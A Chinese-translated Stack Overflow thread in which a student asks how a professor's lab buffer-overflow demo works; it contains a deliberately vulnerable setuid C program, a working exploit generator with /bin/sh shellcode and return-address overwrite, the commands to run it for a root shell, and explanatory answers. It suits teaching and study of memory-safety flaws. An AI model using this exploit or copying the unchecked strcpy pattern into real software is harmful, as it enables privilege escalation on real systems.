缓冲区溢出实现

3

我的教授为我们上传了一个缓冲区溢出的示例,但没有很好地解释它。基本上,他利用缓冲区溢出生成具有根特权的 shell。我希望有人能够向我解释他的示例代码中到底发生了什么。他使用两个C文件,第一个是易受攻击的程序。

    /* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
//stack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
    char buffer[12];
    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);
    return 1;
}
int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}

第二段代码是利用漏洞的代码。
/* A program that creates a file containing code for launching shell*/
//exploit.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define DEFAULT_OFFSET 350

char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;

unsigned int get_sp(void)
{
    __asm__("movl %esp,%eax");
}

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    char *ptr;
    long *a_ptr;
    int ret;

    int offset = DEFAULT_OFFSET;
    int codeSize = sizeof(shellcode);
    int buffSize = sizeof(buffer);

    if(argc > 1) offset = atoi(argv[1]);

    ptr = buffer;
    a_ptr = (long *) ptr;

    memset(buffer, 0x90, buffSize);

    ret = get_sp() + offset;
    printf("Return Address: 0x%x\n", get_sp());
    printf("Address: 0x%x\n", ret);

    ptr = buffer;
    a_ptr = (long *) ptr;

    int i;
    for(i = 0; i < 300; i += 4)
    {
        *(a_ptr++) = ret;
    }

    for(i = 486; i < codeSize + 486; ++i)
    {
        buffer[i] = shellcode[i-486];
    }

    buffer[buffSize-1] = '\0';

    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

他随后从命令行使用这些命令。
$ su root
$ Password (enter root password)
# gcc -o stack -fno-stack-protector stack.c
# chmod 4755 stack
# exit
$ gcc -o exploit exploit.c
$./exploit
$./stack

我在我们为这门课程设置的Ubuntu虚拟机上测试了它,它可以获得root权限,但我不明白它的实现原理。他还要求我们考虑如何改进代码,欢迎提出任何建议!


8
请向您的教授咨询 - 这是他的职责,确保向您解释得非常清楚。 - pm100
2
http://phrack.org/issues/49/14.html - ouah
1
@MightyPork,这个易受攻击的程序是suid。攻击利用覆盖了“bof”函数的返回地址,并使其指向一个包含小型二进制代码的缓冲区,该代码生成一个shell:当“bof”函数返回时:kab00m,r00ted! - ouah
3
@pm100 OP已经运行了程序,阅读了源代码并做出了一些努力。他询问如何/为什么它能工作的解释。对我来说,这看起来是一个合理的问题,定义明确,非常有趣(尽管我可能错了😉)。当然,教授应该解释这个问题。但这并不意味着当被问到时我们不能解释。两种不同的解释总比一种好!特别是因为在这里的某些SO用户比大多数教授都更擅长;) - kamituel
如果教授要求解释它,那不是他的工作。这是你自己的工作去弄清楚为什么。他可能认为你有足够的技能来做到这一点,只要你努力应用。 - Ira Baxter
显示剩余9条评论
2个回答

4
我虽然不是一个专业的漏洞专家,但这就是我的理解(希望能对你有所帮助):
被攻击的程序
下面两行代码存在问题,因为你试图将一个517字节的缓冲区复制到一个只有12字节容量的缓冲区中。strcpy函数并不聪明,不能在写入12个字节后停止写入buffer,所以它会写入内存中的某个位置,覆盖掉那里原本存在的任何内容。
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

由于你的程序正在以root权限运行,任何写入内存的内容都可以以相同的权限运行。

漏洞程序

漏洞包含一个汇编代码,能够生成一个新的shell实例。该代码将被写入badfile,位于前12个字节之后的位置。这是因为前12个字节适合攻击程序中的缓冲区。稍后会将此文件读取到该缓冲区中,然后复制到(过小的)str缓冲区中,这意味着除了前12个字节,任何其他东西都会被放置在(有root权限的)被攻击程序的某个地方内存中。

char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;

最后,这个漏洞利用将注入的代码推送到堆栈中,并重写返回地址,使得注入的代码将被执行。正如评论中建议的那样,这是在这里完成的:
for(i = 0; i < 300; i += 4)
{
    *(a_ptr++) = ret;
}

如果想要了解栈的具体结构,可以参考这篇文章中的相关解释和有用的示意图。

当然,所有这些攻击都是在程序以root权限运行时才有可能实现的。这是因为你以root身份运行了该命令:

# chmod 4755 stack

第一个数字4表示这个文件(stack二进制文件)将以拥有此文件的用户的权限来调用,而不是调用它的用户(默认行为)。这被称为setuuid。如果没有这个设置,则攻击者将能够获得启动stack的用户的权限,而该用户的权限低于root。
顺便说一下,这就是为什么强烈建议不要以root身份运行任何守护程序(例如HTTP服务器)。即使在最好的、最安全的代码库中,也总会发现缓冲区溢出漏洞。将程序作为普通用户运行可以使攻击者难以造成实际伤害。

你缺少一个重要的点。请看:for(i = 0; i < 300; i += 4)。代码需要覆盖堆栈帧上的返回地址。这是完成此操作的代码。它将返回地址放到shell代码中。否则,我认为你的回答已经包含了这个stackoverflow的所有内容。提问者应该知道什么是堆栈帧。所有本地变量都在堆栈上,连同返回地址;这就是使漏洞利用起作用的原因。数据变成了代码。 - artless noise
一些架构具有 不可执行,但这时你可以使用 ROP;最好不要让漏洞存在。 - artless noise
@artlessnoise 谢谢这个提示 - 我不是那方面的专家,只是希望 OP 能在这里得到他/她所寻求的帮助 - 因为如果关于堆栈溢出的问题在堆栈溢出上没有得到答案,那就太遗憾了 ;) 同样,同意最好不要有 bug,但没有软件是完美的(嗯,除了我写的那个 ;)),以 root 权限运行代码会引发麻烦。 - kamituel

-3

@kamituel提供了一个关于漏洞如何运作的好解释,并提示如何改进代码

strcpy并不足够聪明,无法在写入12个字节后停止写入buffer,...

纠正这种情况的方法是使用strncpy。该函数的行为与strcpy完全相同, 除了它限制了可以复制的字节数。因此,通过将复制限制为缓冲区中可用的12个字节,可以防止缓冲区溢出攻击。


网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接